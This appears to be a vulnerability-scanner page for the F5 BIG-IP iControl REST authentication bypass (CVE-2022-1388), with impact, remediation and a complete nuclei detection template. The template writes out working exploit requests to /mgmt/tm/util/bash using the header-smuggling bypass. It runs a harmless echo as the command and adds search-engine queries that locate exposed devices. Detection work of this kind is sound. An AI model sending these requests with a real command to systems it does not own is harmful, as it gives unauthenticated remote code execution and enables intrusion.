F5 BIG-IP iControl - REST Auth Bypass RCE

Exploited in the wild. Listed by CISA on 2022-05-10; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, may allow undisclosed requests to bypass iControl REST authentication.

Impact

Successful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary code on the affected system.

Fix

Apply the necessary security patches or updates provided by F5 Networks to mitigate this vulnerability.

How to confirm it

Send: POST /mgmt/tm/util/bash
Positive when: contains "commandResult" and "8831-2202-EVC"

Run it with nuclei: nuclei -id CVE-2022-1388 -u <target>

The full check

id: CVE-2022-1388

info:
  name: F5 BIG-IP iControl - REST Auth Bypass RCE
  author: dwisiswant0,Ph33r
  severity: critical
  description: |
    F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, may allow undisclosed requests to bypass iControl REST authentication.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary code on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by F5 Networks to mitigate this vulnerability.
  reference:
    - https://twitter.com/GossiTheDog/status/1523566937414193153
    - https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
    - https://support.f5.com/csp/article/K23605346
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
    - https://www.secpod.com/blog/critical-f5-big-ip-remote-code-execution-vulnerability-patch-now/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1388
    cwe-id: CWE-306
    epss-score: 0.99954
    epss-percentile: 0.99974
    cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: f5
    product: big-ip_access_policy_manager
    shodan-query:
      - http.title:"BIG-IP&reg;-+Redirect" +"Server"
      - http.title:"big-ip&reg;-+redirect" +"server"
    fofa-query: title="big-ip&reg;-+redirect" +"server"
    google-query: intitle:"big-ip&reg;-+redirect" +"server"
  tags: cve,cve2022,f5,bigip,rce,mirai,kev,vkev,vuln
variables:
  auth: "admin:"
  cmd: "echo CVE-2022-1388 | rev"

http:
  - raw:
      - |
        POST /mgmt/tm/util/bash HTTP/1.1
        Host: {{Hostname}}
        Connection: keep-alive, X-F5-Auth-Token
        X-F5-Auth-Token: a
        Authorization: Basic {{base64(auth)}}
        Content-Type: application/json

        {
             "command": "run",
             "utilCmdArgs": "-c '{{cmd}}'"
        }
      - |
        POST /mgmt/tm/util/bash HTTP/1.1
        Host: localhost
        Connection: keep-alive, X-F5-Auth-Token
        X-F5-Auth-Token: a
        Authorization: Basic {{base64(auth)}}
        Content-Type: application/json

        {
             "command": "run",
             "utilCmdArgs": "-c '{{cmd}}'"
        }

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "commandResult"
          - "8831-2202-EVC"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from